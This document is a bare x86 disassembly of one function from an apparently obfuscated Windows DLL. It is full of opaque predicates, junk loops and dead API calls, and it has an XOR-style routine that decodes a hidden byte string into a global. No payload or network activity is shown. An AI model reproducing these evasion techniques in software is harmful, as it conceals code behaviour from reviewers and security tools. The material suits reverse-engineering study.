mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0xf3c], 0xffffffff
jmp 0x1001783a
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
mov eax, dword [ebp - 0x428]
cmp eax, dword [ebp - 0x68]
jne 0x10017887
mov dword [ebp - 0xabc], 1
jmp 0x1001788e
and dword [ebp - 0xabc], 0
cmp dword [ebp - 0xabc], 0xc77e2192
je 0x100178a6
mov dword [ebp - 0x580], 1
jmp 0x100178ad
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x498]
cmp dword [ebp - 0x580], eax
jne 0x100178c7
mov dword [ebp - 0xac4], 1
jmp 0x100178ce
and dword [ebp - 0xac4], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0xf3c]
imul esi, dword [ebp - 0xac4]
push 1
lea ecx, [ebp - 0xee0]
call fcn.1002273f
cmp esi, dword [eax]
jle 0x10017908
mov eax, 0x9ba5493a
test eax, eax
je 0x10017908
mov dword [ebp - 0x588], 1
jmp 0x1001790f
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xe30], eax
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0xcbc], eax
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xe30]
cmp eax, dword [ebp - 0xcbc]
jle 0x10017945
mov dword [ebp - 0xacc], 1
jmp 0x1001794c
and dword [ebp - 0xacc], 0
cmp dword [ebp - 0xacc], 0xba8a
jl 0x10017964
mov dword [ebp - 0x590], 1
jmp 0x1001796b
and dword [ebp - 0x590], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf3c]
cmp eax, dword [ebp - 0x590]
jne 0x10017995
mov eax, 0x7dd14560
test eax, eax
je 0x10017995
mov dword [ebp - 0xad4], 1
jmp 0x1001799c
and dword [ebp - 0xad4], 0
push 1
lea ecx, [ebp - 0xee0]
call fcn.1002273f
mov ecx, dword [ebp - 0xad4]
cmp ecx, dword [eax]
jl 0x100179bf
mov dword [ebp - 0x598], 1
jmp 0x100179c6
and dword [ebp - 0x598], 0
cmp dword [ebp - 0x598], 0xf1939ef
je 0x100179e7
cmp dword [ebp - 0xc18], 0
je 0x100179e7
mov dword [ebp - 0xadc], 1
jmp 0x100179ee
and dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0x420]
cmp eax, dword [ebp - 0xadc]
jle 0x10017a08
mov dword [ebp - 0x5a0], 1
jmp 0x10017a0f
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0xd98], eax
jmp 0x100177f6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xee0]
call fcn.1002271a
jmp 0x10017bf2
push 2
lea ecx, [ebp - 0xbb8]
call fcn.10022698
mov dword [ebp - 4], 7
mov dword [ebp - 0xd0], 0
jmp 0x10017a61
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x10017a83
push dword [ebp - 0xd0]
lea ecx, [ebp - 0xbb8]
call fcn.1002273f
mov dword [eax], 0xdc4ea3c9
jmp 0x10017a54
mov dword [ebp - 0xd0], 0
jmp 0x10017a9c
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x10017ab8
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0xf54], 0xffffffff
jmp 0x10017a8f
mov dword [ebp - 0x30], 0
jmp 0x10017ac8
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jg 0x10017be3
mov dword [ebp - 0xe68], 0xa12b2fe0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x10f4], eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0xbb8]
call fcn.1002273f
mov eax, dword [eax]
mov dword [ebp - 0x1f0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1f0]
add ecx, dword [ebp - 0x498]
sub ecx, dword [ebp + eax - 0xf54]
jne 0x10017b22
mov dword [ebp - 0xc20], 1
jmp 0x10017b29
and dword [ebp - 0xc20], 0
push dword [ebp - 0x30]
lea ecx, [ebp - 0xbb8]
call fcn.1002273f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf54]
mov dword [ebp - 0x10fc], eax
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x1104], eax
push 1
lea ecx, [ebp - 0xbb8]
call fcn.1002273f
push dword [ebp - 0x30]
lea ecx, [ebp - 0xbb8]
call fcn.1002273f
cmp dword [eax], 0xffffffff
jg 0x10017b8b
mov eax, 0x1929b4db
test eax, eax
je 0x10017b8b
mov dword [ebp - 0xae4], 1
jmp 0x10017b92
and dword [ebp - 0xae4], 0
cmp dword [ebp - 0xae4], 0x3a207b8a
jl 0x10017baa
mov dword [ebp - 0x5a8], 1
jmp 0x10017bb1
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x5a8], eax
jl 0x10017bcb
mov dword [ebp - 0xaec], 1
jmp 0x10017bd2
and dword [ebp - 0xaec], 0
mov eax, dword [ebp - 0xaec]
mov dword [ebp - 0xe68], eax
jmp 0x10017ac1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbb8]
call fcn.1002271a
cmp dword [ebp - 0x364], 0
jne 0x10017e4f
cmp dword [ebp - 0x21c], 0
je 0x10017d97
mov dword [ebp - 0xaf4], 0
mov eax, dword [ebp - 0xaf4]
mov dword [ebp - 0xc28], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x110c], eax
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x1114], eax
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f0]
cmp eax, dword [ebp - 0x498]
jl 0x10017c5d
mov dword [ebp - 0xa28], 1
jmp 0x10017c64
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0x364]
cmp dword [ebp - 0xa28], eax
je 0x10017c7e
mov dword [ebp - 0xda0], 1
jmp 0x10017c85
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0x21c]
imul eax, dword [ebp - 0x364]
imul eax, eax, 6
cmp eax, dword [ebp - 0x21c]
jge 0x10017cb2
cmp dword [ebp - 0x1f4], 0
je 0x10017cb2
mov dword [ebp - 0x5b8], 1
jmp 0x10017cb9
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x1f4]
cmp dword [ebp - 0x5b8], eax
je 0x10017cd3
mov dword [ebp - 0x8b0], 1
jmp 0x10017cda
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0x8b0]
sub eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x364]
jge 0x10017cf7
mov dword [ebp - 0x5c0], 1
jmp 0x10017cfe
and dword [ebp - 0x5c0], 0
cmp dword [ebp - 0x5c0], 1
jne 0x10017d16
cmp dword [ebp - 0x30], 0
jne 0x10017d16
and dword [ebp - 0xc30], 0
jmp 0x10017d20
mov dword [ebp - 0xc30], 1
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x428], eax
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x111c], eax
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x1124], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xae8]
cmp ecx, dword [ebp + eax - 0xae8]
jle 0x10017d78
mov dword [ebp - 0x5c8], 1
jmp 0x10017d7f
and dword [ebp - 0x5c8], 0
cmp dword [ebp - 0x5c8], 0x41ab
jl 0x10017d97
mov dword [ebp - 0x8b8], 1
jmp 0x10017d9e
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x1f4]
cmp eax, dword [ebp - 0x8b8]
jge 0x10017db8
mov dword [ebp - 0x5d0], 1
jmp 0x10017dbf
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x470]
add eax, dword [ebp - 0x5d0]
cmp eax, dword [ebp - 0x30]
jge 0x10017ddc
mov dword [ebp - 0xa30], 1
jmp 0x10017de3
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0xa30]
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0x5d8]
cmp eax, dword [ebp - 0xa38]
jg 0x10017e09
mov dword [ebp - 0x8c0], 1
jmp 0x10017e10
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x470]
cmp dword [ebp - 0x8c0], eax
jne 0x10017e2a
mov dword [ebp - 0x5e0], 1
jmp 0x10017e31
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
jne 0x10017e4f
and dword [ebp - 0xb50], 0
jmp 0x10017e59
mov dword [ebp - 0xb50], 1
mov eax, dword [ebp - 0xb50]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
cmp eax, dword [ebp - 0x68]
jne 0x10017e7c
mov dword [ebp - 0x5e8], 1
jmp 0x10017e83
and dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x5e8], eax
jl 0x10017e9a
mov dword [ebp - 0x8c8], 1
jmp 0x10017ea1
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0x21c]
cmp dword [ebp - 0x8c8], eax
jl 0x10017ebb
mov dword [ebp - 0x5f0], 1
jmp 0x10017ec2
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0xa38], eax
mov byte [ebp - 0x270], 2
mov byte [ebp - 0x26f], 0x8d
mov byte [ebp - 0x26e], 0xa
mov byte [ebp - 0x26d], 0x31
mov byte [ebp - 0x26c], 6
mov byte [ebp - 0x26b], 0x36
mov byte [ebp - 0x26a], 0xc
mov byte [ebp - 0x269], 0x24
mov byte [ebp - 0x268], 9
mov byte [ebp - 0x267], 0x39
mov byte [ebp - 0x266], 4
mov byte [ebp - 0x265], 0xb
mov byte [ebp - 0x264], 1
mov byte [ebp - 0x263], 0
mov byte [ebp - 0x262], 8
mov byte [ebp - 0x261], 0xa
mov byte [ebp - 0x260], 5
mov byte [ebp - 0x25f], 0x1d
mov byte [ebp - 0x25e], 7
mov byte [ebp - 0x25d], 0x1b
mov byte [ebp - 0x25c], 3
mov byte [ebp - 0x25b], 0x3f
mov byte [ebp - 0x25a], 0
mov byte [ebp - 0x259], 0x11
mov byte [ebp - 0x258], 0xb
mov byte [ebp - 0x257], 0x3f
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x270]
and eax, 0xf9
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x270]
or ecx, 0xf9
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x270]
mov byte [ebp + eax - 0xea0], cl
push 2
lea ecx, [ebp - 0x494]
call fcn.10022698
mov dword [ebp - 4], 8
mov dword [ebp - 0x2cc], 1
mov dword [ebp - 0xe40], 0xffffffff
mov dword [ebp - 0x438], 0xffffffff
mov dword [ebp - 0xc38], 0x19b885b3
mov dword [ebp - 0xda8], 0xd8b26de0
mov dword [ebp - 0x34], 0
jmp 0x10018018
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x10018034
push dword [ebp - 0x34]
lea ecx, [ebp - 0x494]
call fcn.1002273f
mov dword [eax], 0xf36f6dd8
jmp 0x10018011
mov dword [ebp - 0x34], 0
jmp 0x10018044
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x1001805a
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x1194], 1
jmp 0x1001803d
mov dword [ebp - 0x34], 0
jmp 0x1001806a
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x10018080
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x4ac], 0x58a922a1
jmp 0x10018063
push 1
lea ecx, [ebp - 0x494]
call fcn.1002273f
mov eax, dword [eax]
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0
je 0x100182a1
push 0
lea ecx, [ebp - 0x494]
call fcn.1002273f
mov eax, dword [eax]
add eax, 0x20c4365d
je 0x100180d6
push 1
lea ecx, [ebp - 0x494]
call fcn.1002273f
cmp dword [eax], 0
je 0x100180d6
mov dword [ebp - 0x5f8], 1
jmp 0x100180dd
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x5f8]
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0x2cc]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1194], eax
push 1
lea ecx, [ebp - 0x494]
call fcn.1002273f
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x1194]
cmp ecx, dword [ebp + eax - 0x4ac]
jg 0x1001812f
mov dword [ebp - 0x8d0], 1
jmp 0x10018136
and dword [ebp - 0x8d0], 0
mov eax, dword [ebp - 0xe40]
cmp dword [ebp - 0x8d0], eax
jg 0x10018150
mov dword [ebp - 0x600], 1
jmp 0x10018157
and dword [ebp - 0x600], 0
push 0
lea ecx, [ebp - 0x494]
call fcn.1002273f
mov eax, dword [eax]
cmp eax, dword [ebp - 0x600]
jle 0x1001817a
mov dword [ebp - 0xaf0], 1
jmp 0x10018181
and dword [ebp - 0xaf0], 0
push 0
lea ecx, [ebp - 0x494]
call fcn.1002273f
mov ecx, dword [ebp - 0xaf0]
cmp ecx, dword [eax]
jge 0x100181a4
mov dword [ebp - 0x608], 1
jmp 0x100181ab
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
add eax, 0xedaa
jne 0x100181e6
push 2
pop eax
test eax, eax
jne 0x100181e6
push 1
lea ecx, [ebp - 0x494]
call fcn.1002273f
cmp dword [eax], 0
jne 0x100181e6
and dword [ebp - 0x8d8], 0
jmp 0x100181f0
mov dword [ebp - 0x8d8], 1
mov eax, dword [ebp - 0xc38]
cmp dword [ebp - 0x8d8], eax
jle 0x1001820a
mov dword [ebp - 0x610], 1
jmp 0x10018211
and dword [ebp - 0x610], 0
cmp dword [ebp - 0x610], 0
jne 0x1001822c
mov eax, 0x25d3c095
test eax, eax
jne 0x1001822c
and dword [ebp - 0xa40], 0
jmp 0x10018236
mov dword [ebp - 0xa40], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4ac]
cmp dword [ebp - 0xa40], eax
jne 0x10018257
mov dword [ebp - 0x618], 1
jmp 0x1001825e
and dword [ebp - 0x618], 0
push 0
lea ecx, [ebp - 0x494]
call fcn.1002273f
mov ecx, dword [ebp - 0x618]
cmp ecx, dword [eax]
je 0x10018281
mov dword [ebp - 0x8e0], 1
jmp 0x10018288
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x8e0]
add eax, 0xa9d6
je 0x100182a1
mov dword [ebp - 0x620], 1
jmp 0x100182a8
and dword [ebp - 0x620], 0
push 0
lea ecx, [ebp - 0x494]
call fcn.1002273f
mov ecx, dword [ebp - 0x620]
cmp ecx, dword [eax]
jge 0x100182cb
mov dword [ebp - 0xb70], 1
jmp 0x100182d2
and dword [ebp - 0xb70], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4ac]
cmp dword [ebp - 0xb70], eax
jle 0x100182fc
cmp dword [ebp - 0x438], 0
je 0x100182fc
mov dword [ebp - 0x628], 1
jmp 0x10018303
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0xda8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x494]
call fcn.1002271a
mov dword [ebp - 0x104], 2
and dword [ebp - 0x8e8], 0
jmp 0x1001833f
mov eax, dword [ebp - 0x104]
inc eax
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x1a
jae 0x100184ae
push 2
lea ecx, [ebp - 0x11a4]
call fcn.10022698
mov dword [ebp - 4], 9
mov dword [ebp - 0x2d4], 0xffffffff
mov dword [ebp - 0x36c], 0
jmp 0x10018383
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 2
jge 0x100183a2
push dword [ebp - 0x36c]
lea ecx, [ebp - 0x11a4]
call fcn.1002273f
and dword [eax], 0
jmp 0x10018376
mov dword [ebp - 0x2d4], 0
jmp 0x100183bb
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 1
jg 0x1001842b
mov dword [ebp - 0x374], 0x4696a485
mov dword [ebp - 0xc40], 0x3f1a0734
mov dword [ebp - 0x374], 0
jmp 0x100183f1
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 1
jg 0x10018406
mov dword [ebp - 0xc40], 0x61ab6ec7
jmp 0x100183e4
mov byte [ebp - 0x12d], 0
movzx eax, byte [ebp - 0x12d]
test eax, eax
je 0x10018429
push 0
push 0xfdd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
jmp 0x100183ae
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11a4]
call fcn.1002271a
mov eax, dword [ebp - 0x104]
sub eax, dword [ebp - 0x8e8]
movzx eax, byte [ebp + eax - 0x272]
movsx eax, byte [ebp + eax - 0xea0]
mov ecx, dword [ebp - 0x104]
movzx ecx, byte [ebp + ecx - 0x26f]
and ecx, eax
mov eax, dword [ebp - 0x104]
sub eax, dword [ebp - 0x8e8]
movzx eax, byte [ebp + eax - 0x272]
movsx eax, byte [ebp + eax - 0xea0]
mov edx, dword [ebp - 0x104]
movzx edx, byte [ebp + edx - 0x26f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x104]
movzx eax, byte [ebp + eax - 0x270]
mov byte [ebp + eax - 0xea0], dl
jmp 0x10018331
mov dword [ebp - 0x1b0], 0xa48bbca6
mov dword [ebp - 0x630], 0
push 2
lea ecx, [ebp - 0xfc8]
call fcn.10022698
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x2dc], 0
jmp 0x100184ef
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 2
jge 0x10018511
push dword [ebp - 0x2dc]
lea ecx, [ebp - 0xfc8]
call fcn.1002273f
mov dword [eax], 5
jmp 0x100184e2
mov dword [ebp - 0x1b0], 0xffffffff
jmp 0x1001852a
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 6
jl 0x10018724
mov dword [ebp - 0x1fc], 0xdc4b4e12
push 4
lea ecx, [ebp - 0xe1c]
call fcn.10022698
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x37c], 0
jmp 0x1001856b
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 4
jge 0x1001858d
push dword [ebp - 0x37c]
lea ecx, [ebp - 0xe1c]
call fcn.1002273f
mov dword [eax], 0xfffffffc
jmp 0x1001855e
mov dword [ebp - 0x1fc], 0xffffffe3
jmp 0x100185a6
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0xfffffff4
je 0x100186ec
mov dword [ebp - 0x134], 0xffffffff
mov byte [ebp - 0x19d], 0
movzx eax, byte [ebp - 0x19d]
test eax, eax
je 0x100185da
push 0x1950
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [ebp - 0x134], 3
jmp 0x100185f3
mov eax, dword [ebp - 0x134]
dec eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jl 0x100186e7
mov dword [ebp - 0xe70], 1
push dword [ebp - 0x134]
lea ecx, [ebp - 0xe1c]
call fcn.1002273f
mov esi, eax
push dword [ebp - 0x134]
lea ecx, [ebp - 0xe1c]
call fcn.1002273f
mov eax, dword [eax]
mov dword [esi], eax
cmp dword [ebp - 0x1b0], 0
jne 0x10018666
mov eax, dword [ebp - 0x1b0]
neg eax
imul eax, eax, 0
cmp eax, 9
jl 0x10018666
cmp dword [ebp - 0x630], 0
jne 0x10018666
cmp dword [ebp - 0x1fc], 0
jne 0x10018666
and dword [ebp - 0xa48], 0
jmp 0x10018670
mov dword [ebp - 0xa48], 1
mov eax, dword [ebp - 0x630]
add eax, dword [ebp - 0xa48]
mov ecx, dword [ebp - 0xe70]
imul ecx, eax
cmp ecx, 1
jbe 0x10018696
mov dword [ebp - 0x638], 1
jmp 0x1001869d
and dword [ebp - 0x638], 0
push dword [ebp - 0x134]
lea ecx, [ebp - 0xe1c]
call fcn.1002273f
and dword [eax], 0
cmp dword [ebp - 0x638], 0
jge 0x100186c6
mov dword [ebp - 0x8f0], 1
jmp 0x100186cd
and dword [ebp - 0x8f0], 0
push 1
lea ecx, [ebp - 0xfc8]
call fcn.1002273f
mov ecx, dword [ebp - 0x8f0]
mov dword [eax], ecx
jmp 0x100185e6
jmp 0x10018599
mov byte [ebp - 0x135], 0
movzx eax, byte [ebp - 0x135]
test eax, eax
je 0x10018710
push 0x7c7
push 0
push 0x1b7d
call dword [sym.imp.GDI32.dll_Polyline]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xe1c]
call fcn.1002271a
jmp 0x1001851d
mov byte [ebp - 0x1a8], 0
movzx eax, byte [ebp - 0x1a8]
test eax, eax
je 0x10018743
push 0
push 0x1f58
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfc8]
call fcn.1002271a
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xea0], 0
lea eax, [ebp - 0xea0]
push eax
lea ecx, [ebp - 0x13a4]
call fcn.100225f8
mov dword [ebp - 0xc48], eax
mov eax, dword [ebp - 0xc48]
mov dword [ebp - 0xdb0], eax
mov dword [ebp - 4], 0xc
mov edx, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xdb0]
call fcn.1000a6dd
mov dword [0x10c36020], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13a4]
call fcn.1002261b
push 2
lea ecx, [ebp - 0x4dc]
call fcn.10022698
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x64], 3
mov dword [ebp - 0xf4c], 1
mov dword [ebp - 0xf48], 1
mov dword [ebp - 0xf44], 1
mov dword [ebp - 0xf40], 1
mov dword [ebp - 0xe50], 0x9bad2ce6
mov dword [ebp - 0xc58], 1
mov dword [ebp - 0x2e4], 0
jmp 0x10018820
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 2
jge 0x10018842
push dword [ebp - 0x2e4]
lea ecx, [ebp - 0x4dc]
call fcn.1002273f
mov dword [eax], 0x9f9b
jmp 0x10018813
mov dword [ebp - 0x64], 0
jmp 0x10018852
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jg 0x10018c6d
mov dword [ebp - 0x640], 0x20c9
mov dword [ebp - 0xc50], 0x10007b0c
cmp dword [ebp - 0x640], 0x241a
jle 0x10018970
and dword [ebp - 0x38c], 0
jmp 0x10018896
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0x3d87
jge 0x1001895e
and dword [ebp - 0x2f4], 0
jmp 0x100188bc
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x7d2d
jge 0x10018959
and dword [ebp - 0x384], 0
jmp 0x100188e2
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x736b
jge 0x10018954
and dword [ebp - 0x2ec], 0
jmp 0x10018904
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x7f90
jge 0x10018952
mov ecx, dword [ebp - 0x384]
sub ecx, dword [ebp - 0x2ec]
mov eax, dword [ebp - 0x38c]
cdq
idiv dword [ebp - 0x2f4]
and edx, ecx
mov eax, edx
cdq
mov dword [ebp - 0xce8], eax
mov dword [ebp - 0xce4], edx
push dword [ebp - 0xce4]
push dword [ebp - 0xce8]
mov ecx, 0x10618e18
call fcn.1002244f
jmp 0x100188f7
jmp 0x100188d5
jmp 0x100188af
jmp 0x10018889
push 0x1af2
push 0xd12
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
mov dword [ebp - 0x1d4], 0x8470ed99
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x640], 0x1d52
jge 0x1001899a
mov edx, dword [ebp - 0xc50]
mov ecx, 0x10618e18
call fcn.1002579c
jmp 0x100189b6
mov dword [ebp - 4], 0xd
jmp 0x100189c6
mov dword [ebp - 0x668], 0x87662b0a
mov dword [ebp - 0x908], 0x74d4a788
push dword [ebp - 0x64]
lea ecx, [ebp - 0x4dc]
call fcn.1002273f
cmp dword [eax], 0
jne 0x10018b99
push 1
lea ecx, [ebp - 0x4dc]
call fcn.1002273f
cmp dword [ebp - 0x1d4], 0
je 0x10018a2a
push 0
lea ecx, [ebp - 0x4dc]
call fcn.1002273f
imul eax, dword [eax], 0x209f0
test eax, eax
je 0x10018a2a
mov dword [ebp - 0xaf8], 1
jmp 0x10018a31
and dword [ebp - 0xaf8], 0
cmp dword [ebp - 0xaf8], 0x4bdb
jg 0x10018a49
mov dword [ebp - 0x648], 1
jmp 0x10018a50
and dword [ebp - 0x648], 0
cmp dword [ebp - 0x648], 0x9eb11de2
ja 0x10018a68
mov dword [ebp - 0x8f8], 1
jmp 0x10018a6f
and dword [ebp - 0x8f8], 0
push 1
lea ecx, [ebp - 0x4dc]
call fcn.1002273f
mov ecx, dword [ebp - 0x8f8]
cmp ecx, dword [eax]
je 0x10018a92
mov dword [ebp - 0x650], 1
jmp 0x10018a99
and dword [ebp - 0x650], 0
push dword [ebp - 0x64]
lea ecx, [ebp - 0x4dc]
call fcn.1002273f
mov ecx, dword [ebp - 0x650]
cmp ecx, dword [eax]
jg 0x10018abd
mov dword [ebp - 0xa50], 1
jmp 0x10018ac4
and dword [ebp - 0xa50], 0
push 0
lea ecx, [ebp - 0x4dc]
call fcn.1002273f
mov ecx, dword [ebp - 0xa50]
cmp ecx, dword [eax]
jge 0x10018ae7
mov dword [ebp - 0x478], 1
jmp 0x10018aee
and dword [ebp - 0x478], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x478]
mov dword [ebp + eax - 0xf4c], ecx
cmp dword [ebp - 0x478], 0
jne 0x10018b1c
cmp dword [ebp - 0x1d4], 0
jne 0x10018b1c
and dword [ebp - 0x658], 0
jmp 0x10018b26
mov dword [ebp - 0x658], 1
mov eax, dword [ebp - 0x1d4]
cmp dword [ebp - 0x658], eax
jge 0x10018b40
mov dword [ebp - 0x900], 1
jmp 0x10018b47
and dword [ebp - 0x900], 0
mov esi, dword [ebp - 0x900]
sub esi, dword [ebp - 0x64]
push dword [ebp - 0x64]
lea ecx, [ebp - 0x4dc]
call fcn.1002273f
cmp esi, dword [eax]
jg 0x10018b7b
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xf4c], 0
jne 0x10018b7b
and dword [ebp - 0x660], 0
jmp 0x10018b85
mov dword [ebp - 0x660], 1
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x660], eax
jg 0x10018b99
and dword [ebp - 0xb1c], 0
jmp 0x10018ba3
mov dword [ebp - 0xb1c], 1
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0xb1c], eax
jg 0x10018bb5
cmp dword [ebp - 0x1d4], 0
mov dword [ebp - 0x668], 3
mov eax, dword [ebp - 0x668]
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 0
jne 0x10018be0
mov dword [ebp - 0x670], 1
jmp 0x10018be7
and dword [ebp - 0x670], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x670], eax
jg 0x10018bfe
mov dword [ebp - 0xa58], 1
jmp 0x10018c05
and dword [ebp - 0xa58], 0
push 1
lea ecx, [ebp - 0x4dc]
call fcn.1002273f
mov ecx, dword [ebp - 0xa58]
cmp ecx, dword [eax]
jne 0x10018c28
mov dword [ebp - 0x678], 1
jmp 0x10018c2f
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x1d4]
cmp dword [ebp - 0x678], eax
je 0x10018c49
mov dword [ebp - 0x910], 1
jmp 0x10018c50
and dword [ebp - 0x910], 0
mov eax, dword [ebp - 0x910]
mov dword [ebp - 0xe50], eax
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0xc58], eax
jmp 0x1001884b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4dc]
call fcn.1002271a
and dword [ebp - 0x394], 0
jmp 0x10018c92
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0xe
